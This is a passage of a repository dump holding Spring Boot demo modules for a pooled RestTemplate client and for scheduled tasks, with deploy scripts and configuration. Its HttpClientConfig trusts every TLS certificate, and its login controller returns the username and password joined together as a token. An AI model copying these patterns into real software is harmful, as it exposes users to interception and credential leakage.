fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/main/java/com/xncoding/pos/Application.java",
    "content": "package com.xncoding.pos;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/main/java/com/xncoding/pos/config/HttpClientConfig.java",
    "content": "package com.xncoding.pos.config;\n\nimport com.xncoding.pos.config.properties.HttpClientProperties;\nimport org.apache.http.HeaderElement;\nimport org.apache.http.HeaderElementIterator;\nimport org.apache.http.HttpResponse;\nimport org.apache.http.client.config.RequestConfig;\nimport org.apache.http.config.Registry;\nimport org.apache.http.config.RegistryBuilder;\nimport org.apache.http.conn.ConnectionKeepAliveStrategy;\nimport org.apache.http.conn.socket.ConnectionSocketFactory;\nimport org.apache.http.conn.socket.PlainConnectionSocketFactory;\nimport org.apache.http.conn.ssl.SSLConnectionSocketFactory;\nimport org.apache.http.conn.ssl.TrustStrategy;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.DefaultHttpRequestRetryHandler;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.impl.conn.PoolingHttpClientConnectionManager;\nimport org.apache.http.message.BasicHeaderElementIterator;\nimport org.apache.http.protocol.HTTP;\nimport org.apache.http.protocol.HttpContext;\nimport org.apache.http.ssl.SSLContextBuilder;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.scheduling.TaskScheduler;\nimport org.springframework.scheduling.annotation.EnableScheduling;\nimport org.springframework.scheduling.annotation.Scheduled;\nimport org.springframework.scheduling.concurrent.ThreadPoolTaskScheduler;\n\nimport javax.annotation.Resource;\nimport java.security.KeyManagementException;\nimport java.security.KeyStoreException;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.cert.X509Certificate;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * - Supports both HTTP and HTTPS\n * - Uses a connection pool to re-use connections and save overhead of creating connections.\n * - Has a custom connection keep-alive strategy (to apply a default keep-alive if one isn't specified)\n * - Starts an idle connection monitor to continuously clean up stale connections.\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/7/5\n */\n@Configuration\n@EnableScheduling\npublic class HttpClientConfig {\n\n    private static final Logger LOGGER = LoggerFactory.getLogger(HttpClientConfig.class);\n\n    @Resource\n    private HttpClientProperties p;\n\n    @Bean\n    public PoolingHttpClientConnectionManager poolingConnectionManager() {\n        SSLContextBuilder builder = new SSLContextBuilder();\n        try {\n            builder.loadTrustMaterial(null, new TrustStrategy() {\n                public boolean isTrusted(X509Certificate[] arg0, String arg1) {\n                    return true;\n                }\n            });\n        } catch (NoSuchAlgorithmException | KeyStoreException e) {\n            LOGGER.error(\"Pooling Connection Manager Initialisation failure because of \" + e.getMessage(), e);\n        }\n\n        SSLConnectionSocketFactory sslsf = null;\n        try {\n            sslsf = new SSLConnectionSocketFactory(builder.build());\n        } catch (KeyManagementException | NoSuchAlgorithmException e) {\n            LOGGER.error(\"Pooling Connection Manager Initialisation failure because of \" + e.getMessage(), e);\n        }\n\n        Registry<ConnectionSocketFactory> socketFactoryRegistry = RegistryBuilder\n                .<ConnectionSocketFactory>create()\n                .register(\"https\", sslsf)\n                .register(\"http\", new PlainConnectionSocketFactory())\n                .build();\n\n        PoolingHttpClientConnectionManager poolingConnectionManager = new PoolingHttpClientConnectionManager(socketFactoryRegistry);\n        poolingConnectionManager.setMaxTotal(p.getMaxTotalConnections());  //最大连接数\n        poolingConnectionManager.setDefaultMaxPerRoute(p.getDefaultMaxPerRoute());  //同路由并发数\n        return poolingConnectionManager;\n    }\n\n    @Bean\n    public ConnectionKeepAliveStrategy connectionKeepAliveStrategy() {\n        return new ConnectionKeepAliveStrategy() {\n            @Override\n            public long getKeepAliveDuration(HttpResponse response, HttpContext httpContext) {\n                HeaderElementIterator it = new BasicHeaderElementIterator\n                        (response.headerIterator(HTTP.CONN_KEEP_ALIVE));\n                while (it.hasNext()) {\n                    HeaderElement he = it.nextElement();\n                    String param = he.getName();\n                    String value = he.getValue();\n                    if (value != null && param.equalsIgnoreCase(\"timeout\")) {\n                        return Long.parseLong(value) * 1000;\n                    }\n                }\n                return p.getDefaultKeepAliveTimeMillis();\n            }\n        };\n    }\n\n    @Bean\n    public CloseableHttpClient httpClient() {\n        RequestConfig requestConfig = RequestConfig.custom()\n                .setConnectionRequestTimeout(p.getRequestTimeout())\n                .setConnectTimeout(p.getConnectTimeout())\n                .setSocketTimeout(p.getSocketTimeout()).build();\n\n        return HttpClients.custom()\n                .setDefaultRequestConfig(requestConfig)\n                .setConnectionManager(poolingConnectionManager())\n                .setKeepAliveStrategy(connectionKeepAliveStrategy())\n                .setRetryHandler(new DefaultHttpRequestRetryHandler(3, true))  // 重试次数\n                .build();\n    }\n\n    @Bean\n    public Runnable idleConnectionMonitor(final PoolingHttpClientConnectionManager connectionManager) {\n        return new Runnable() {\n            @Override\n            @Scheduled(fixedDelay = 10000)\n            public void run() {\n                try {\n                    if (connectionManager != null) {\n                        LOGGER.trace(\"run IdleConnectionMonitor - Closing expired and idle connections...\");\n                        connectionManager.closeExpiredConnections();\n                        connectionManager.closeIdleConnections(p.getCloseIdleConnectionWaitTimeSecs(), TimeUnit.SECONDS);\n                    } else {\n                        LOGGER.trace(\"run IdleConnectionMonitor - Http Client Connection manager is not initialised\");\n                    }\n                } catch (Exception e) {\n                    LOGGER.error(\"run IdleConnectionMonitor - Exception occurred. msg={}, e={}\", e.getMessage(), e);\n                }\n            }\n        };\n    }\n\n    @Bean\n    public TaskScheduler taskScheduler() {\n        ThreadPoolTaskScheduler scheduler = new ThreadPoolTaskScheduler();\n        scheduler.setThreadNamePrefix(\"poolScheduler\");\n        scheduler.setPoolSize(50);\n        return scheduler;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/main/java/com/xncoding/pos/config/RestTemplateConfig.java",
    "content": "package com.xncoding.pos.config;\n\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.EnableAspectJAutoProxy;\nimport org.springframework.http.client.HttpComponentsClientHttpRequestFactory;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.http.converter.StringHttpMessageConverter;\nimport org.springframework.http.converter.json.MappingJackson2HttpMessageConverter;\nimport org.springframework.web.client.RestTemplate;\n\nimport javax.annotation.Resource;\nimport java.nio.charset.Charset;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * RestTemplate客户端连接池配置\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/24\n */\n@Configuration\n@EnableAspectJAutoProxy(proxyTargetClass = true)\npublic class RestTemplateConfig {\n\n    @Resource\n    private CloseableHttpClient httpClient;\n\n    @Bean\n    public RestTemplate restTemplate(MappingJackson2HttpMessageConverter jackson2HttpMessageConverter) {\n        RestTemplate restTemplate = new RestTemplate(clientHttpRequestFactory());\n\n        List<HttpMessageConverter<?>> messageConverters = new ArrayList<>();\n        StringHttpMessageConverter stringHttpMessageConverter = new StringHttpMessageConverter(Charset.forName(\"utf-8\"));\n        messageConverters.add(stringHttpMessageConverter);\n        messageConverters.add(jackson2HttpMessageConverter);\n        restTemplate.setMessageConverters(messageConverters);\n\n        return restTemplate;\n    }\n\n    @Bean\n    public HttpComponentsClientHttpRequestFactory clientHttpRequestFactory() {\n        HttpComponentsClientHttpRequestFactory rf = new HttpComponentsClientHttpRequestFactory();\n        rf.setHttpClient(httpClient);\n        return rf;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/main/java/com/xncoding/pos/config/properties/HttpClientProperties.java",
    "content": "package com.xncoding.pos.config.properties;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\n/**\n * HttpClient连接池配置\n *\n * @author xiongneng\n * @since 2018/7/09 22:31\n */\n@Component\n@ConfigurationProperties(prefix = \"httpclient\")\npublic class HttpClientProperties {\n    /**\n     * 建立连接的超时时间\n     */\n    private int connectTimeout = 20000;\n    /**\n     * 连接不够用的等待时间\n     */\n    private int requestTimeout = 20000;\n    /**\n     * 每次请求等待返回的超时时间\n     */\n    private int socketTimeout = 30000;\n    /**\n     * 每个主机最大连接数\n     */\n    private int defaultMaxPerRoute = 100;\n    /**\n     * 最大连接数\n     */\n    private int maxTotalConnections = 300;\n    /**\n     * 默认连接保持活跃的时间\n     */\n    private int defaultKeepAliveTimeMillis = 20000;\n    /**\n     * 空闲连接生的存时间\n     */\n    private int closeIdleConnectionWaitTimeSecs = 30;\n\n    public int getConnectTimeout() {\n        return connectTimeout;\n    }\n\n    public void setConnectTimeout(int connectTimeout) {\n        this.connectTimeout = connectTimeout;\n    }\n\n    public int getRequestTimeout() {\n        return requestTimeout;\n    }\n\n    public void setRequestTimeout(int requestTimeout) {\n        this.requestTimeout = requestTimeout;\n    }\n\n    public int getSocketTimeout() {\n        return socketTimeout;\n    }\n\n    public void setSocketTimeout(int socketTimeout) {\n        this.socketTimeout = socketTimeout;\n    }\n\n    public int getDefaultMaxPerRoute() {\n        return defaultMaxPerRoute;\n    }\n\n    public void setDefaultMaxPerRoute(int defaultMaxPerRoute) {\n        this.defaultMaxPerRoute = defaultMaxPerRoute;\n    }\n\n    public int getMaxTotalConnections() {\n        return maxTotalConnections;\n    }\n\n    public void setMaxTotalConnections(int maxTotalConnections) {\n        this.maxTotalConnections = maxTotalConnections;\n    }\n\n    public int getDefaultKeepAliveTimeMillis() {\n        return defaultKeepAliveTimeMillis;\n    }\n\n    public void setDefaultKeepAliveTimeMillis(int defaultKeepAliveTimeMillis) {\n        this.defaultKeepAliveTimeMillis = defaultKeepAliveTimeMillis;\n    }\n\n    public int getCloseIdleConnectionWaitTimeSecs() {\n        return closeIdleConnectionWaitTimeSecs;\n    }\n\n    public void setCloseIdleConnectionWaitTimeSecs(int closeIdleConnectionWaitTimeSecs) {\n        this.closeIdleConnectionWaitTimeSecs = closeIdleConnectionWaitTimeSecs;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/main/java/com/xncoding/pos/controller/LoginController.java",
    "content": "package com.xncoding.pos.controller;\n\nimport com.xncoding.pos.model.LoginParam;\nimport com.xncoding.pos.model.UnbindParam;\nimport com.xncoding.pos.model.BaseResponse;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestHeader;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * 登录接口类\n */\n@RestController\npublic class LoginController {\n\n    private static final Logger _logger = LoggerFactory.getLogger(LoginController.class);\n\n    @PostMapping(\"/login\")\n    public BaseResponse<String> login(@RequestHeader(name = \"Content-Type\", defaultValue = \"application/json\") String contentType,\n                                      @RequestBody LoginParam loginParam) {\n        _logger.info(\"用户请求登录获取Token\");\n        String username = loginParam.getUsername();\n        String password = loginParam.getPassword();\n        return new BaseResponse<>(true, \"Login success\", username + password);\n    }\n\n    @PostMapping(\"/unbind\")\n    public BaseResponse<String> unbind(@RequestHeader(name = \"Content-Type\", defaultValue = \"application/json\") String contentType,\n                                       @RequestHeader(name = \"Authorization\", defaultValue = \"token\") String token,\n                                       @RequestBody UnbindParam unbindParam) {\n        _logger.info(\"解绑通知接口start\");\n        String imei = unbindParam.getImei();\n        String location = unbindParam.getLocation();\n        return new BaseResponse<>(true, \"解绑通知发送成功\", \"unbind\");\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/main/java/com/xncoding/pos/model/BaseResponse.java",
    "content": "package com.xncoding.pos.model;\n\n/**\n * Controller的基础返回类\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/7\n */\npublic class BaseResponse<T> {\n    /**\n     * 是否成功\n     */\n    private boolean success;\n\n    /**\n     * 说明\n     */\n    private String msg;\n\n    /**\n     * 返回数据\n     */\n    private T data;\n\n    public BaseResponse() {\n\n    }\n\n    public BaseResponse(boolean success, String msg, T data) {\n        this.success = success;\n        this.msg = msg;\n        this.data = data;\n    }\n\n    public boolean isSuccess() {\n        return success;\n    }\n\n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public void setData(T data) {\n        this.data = data;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/main/java/com/xncoding/pos/model/LoginParam.java",
    "content": "package com.xncoding.pos.model;\n\n/**\n * 登录认证接口参数\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/9\n */\npublic class LoginParam {\n    /**\n     * 用户名\n     */\n    private String username;\n    /**\n     * 密码\n     */\n    private String password;\n    /**\n     * Application ID\n     */\n    private String appid;\n    /**\n     * IMEI码\n     */\n    private String imei;\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getAppid() {\n        return appid;\n    }\n\n    public void setAppid(String appid) {\n        this.appid = appid;\n    }\n\n    public String getImei() {\n        return imei;\n    }\n\n    public void setImei(String imei) {\n        this.imei = imei;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/main/java/com/xncoding/pos/model/UnbindParam.java",
    "content": "package com.xncoding.pos.model;\n\n/**\n * 解绑通知参数\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/9\n */\npublic class UnbindParam {\n    /**\n     * IMEI码\n     */\n    private String imei;\n    /**\n     * 网点\n     */\n    private String location;\n\n    public String getImei() {\n        return imei;\n    }\n\n    public void setImei(String imei) {\n        this.imei = imei;\n    }\n\n    public String getLocation() {\n        return location;\n    }\n\n    public void setLocation(String location) {\n        this.location = location;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  项目启动端口  ###################\nserver.port: 8092\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n\nhttpclient:\n  connectTimeout: 20000\n  requestTimeout: 20000\n  socketTimeout: 30000\n  defaultMaxPerRoute: 100\n  maxTotalConnections: 300\n  defaultKeepAliveTimeMillis: 20000\n  closeIdleConnectionWaitTimeSecs: 30\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/app.log\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/src/test/java/com/xncoding/pos/ApplicationTests.java",
    "content": "package com.xncoding.pos;\n\nimport com.xncoding.pos.model.LoginParam;\nimport com.xncoding.pos.model.UnbindParam;\nimport com.xncoding.pos.model.BaseResponse;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.boot.web.server.LocalServerPort;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.RequestEntity;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.web.client.RestTemplate;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.hamcrest.Matchers.is;\n\n/**\n * 测试任务\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class, webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)\npublic class ApplicationTests {\n    private static final Logger logger = LoggerFactory.getLogger(ApplicationTests.class);\n    /**\n     * @LocalServerPort 提供了 @Value(\"${local.server.port}\") 的代替\n     */\n    @LocalServerPort\n    private int port;\n    @Autowired\n    private RestTemplate restTemplate;\n\n    @Test\n    public void testRestTemplate() {\n        LoginParam param = new LoginParam();\n        param.setUsername(\"admin\");\n        param.setPassword(\"12345678\");\n        String loginUrl = String.format(\"http://localhost:%d/login\", port);\n        BaseResponse r = restTemplate.postForObject(loginUrl, param, BaseResponse.class);\n        assertThat(r.isSuccess(), is(true));\n\n        String token = (String) r.getData();\n        UnbindParam unbindParam = new UnbindParam();\n        unbindParam.setImei(\"imei\");\n        unbindParam.setLocation(\"location\");\n        // 设置HTTP Header信息\n        String unbindUrl = String.format(\"http://localhost:%d/unbind\", port);\n        URI uri;\n        try {\n            uri = new URI(unbindUrl);\n        } catch (URISyntaxException e) {\n            logger.error(\"URI构建失败\", e);\n            throw new RuntimeException(\"URI构建失败\");\n        }\n        RequestEntity<UnbindParam> requestEntity = RequestEntity\n                .post(uri)\n                .contentType(MediaType.APPLICATION_JSON)\n                .accept(MediaType.APPLICATION_JSON)\n                .header(\"Authorization\", token)\n                .body(unbindParam);\n        ResponseEntity<BaseResponse> responseEntity = restTemplate.exchange(requestEntity, BaseResponse.class);\n        BaseResponse r2 = responseEntity.getBody();\n        assertThat(r2.isSuccess(), is(true));\n        assertThat(r2.getData(), is(\"unbind\"));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/README.md",
    "content": "## 定时任务\n\n定时任务非常简单，只需要写个配置类，然后定义定时任务类，使用注解定义某个方法定期执行\n\n``` java\n@Scheduled(cron = \"0 26 19 * * ?\")\npublic void checkState1() {\n    logger.info(\">>>>> xxx检查开始....\");\n    logger.info(\">>>>> xxx传检查完成....\");\n}\n```\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_schedule</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>定时任务</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/src/main/java/com/xncoding/pos/Application.java",
    "content": "package com.xncoding.pos;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/src/main/java/com/xncoding/pos/config/ScheduleConfig.java",
    "content": "package com.xncoding.pos.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.scheduling.annotation.EnableScheduling;\nimport org.springframework.scheduling.annotation.SchedulingConfigurer;\nimport org.springframework.scheduling.config.ScheduledTaskRegistrar;\n\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\n/**\n * ScheduleConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2017/9/13\n */\n@Configuration\n@EnableScheduling\npublic class ScheduleConfig implements SchedulingConfigurer {\n    @Override\n    public void configureTasks(ScheduledTaskRegistrar taskRegistrar) {\n        taskRegistrar.setScheduler(taskExecutor());\n    }\n\n    @Bean(destroyMethod=\"shutdown\")\n    public ExecutorService taskExecutor() {\n        return Executors.newScheduledThreadPool(5);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/src/main/java/com/xncoding/pos/jobs/HeartbeatJob.java",
    "content": "package com.xncoding.pos.jobs;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.scheduling.annotation.Scheduled;\nimport org.springframework.stereotype.Component;\n\n/**\n * 定时任务\n *\n * 第一位，表示秒，取值0-59\n * 第二位，表示分，取值0-59\n * 第三位，表示小时，取值0-23\n * 第四位，日期天/日，取值1-31\n * 第五位，日期月份，取值1-12\n * 第六位，星期，取值1-7，1表示星期天，2表示星期一\n * 第七位，年份，可以留空，取值1970-2099\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2017/9/27\n */\n@Component\npublic class HeartbeatJob {\n    private static final Logger logger = LoggerFactory.getLogger(HeartbeatJob.class);\n\n    /**\n     * 检查状态1\n     */\n    @Scheduled(cron = \"0 30 12 * * ?\")\n    public void checkState1() {\n        logger.info(\">>>>> cron中午12:30上传检查开始....\");\n        logger.info(\">>>>> cron中午12:30上传检查完成....\");\n    }\n\n    /**\n     * 检查状态2\n     */\n    @Scheduled(cron = \"0 0 18 * * ?\")\n    public void checkState2() {\n        logger.info(\">>>>> cron晚上18:00上传检查开始....\");\n        logger.info(\">>>>> cron晚上18:00上传检查完成....\");\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/src/main/java/com/xncoding/pos/jobs/Scheduler2Task.java",
    "content": "package com.xncoding.pos.jobs;\n\nimport org.springframework.scheduling.annotation.Scheduled;\nimport org.springframework.stereotype.Component;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\n/**\n * Created by summer on 2016/12/1.\n */\n\n@Component\npublic class Scheduler2Task {\n\n    private static final SimpleDateFormat dateFormat = new SimpleDateFormat(\"HH:mm:ss\");\n\n    @Scheduled(fixedRate = 6000)\n    public void reportCurrentTime() {\n        System.out.println(\"现在时间：\" + dateFormat.format(new Date()));\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/src/main/java/com/xncoding/pos/jobs/SchedulerTask.java",
    "content": "package com.xncoding.pos.jobs;\n\nimport org.springframework.scheduling.annotation.Scheduled;\nimport org.springframework.stereotype.Component;\n\n/**\n * Created by summer on 2016/12/1.\n */\n\n@Component\npublic class SchedulerTask {\n\n    private int count=0;\n\n    @Scheduled(cron=\"*/6 * * * * ?\")\n    private void process(){\n        System.out.println(\"this is scheduler task runing  \"+(count++));\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/app.log\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_schedule/src/main/resources/banner.txt",
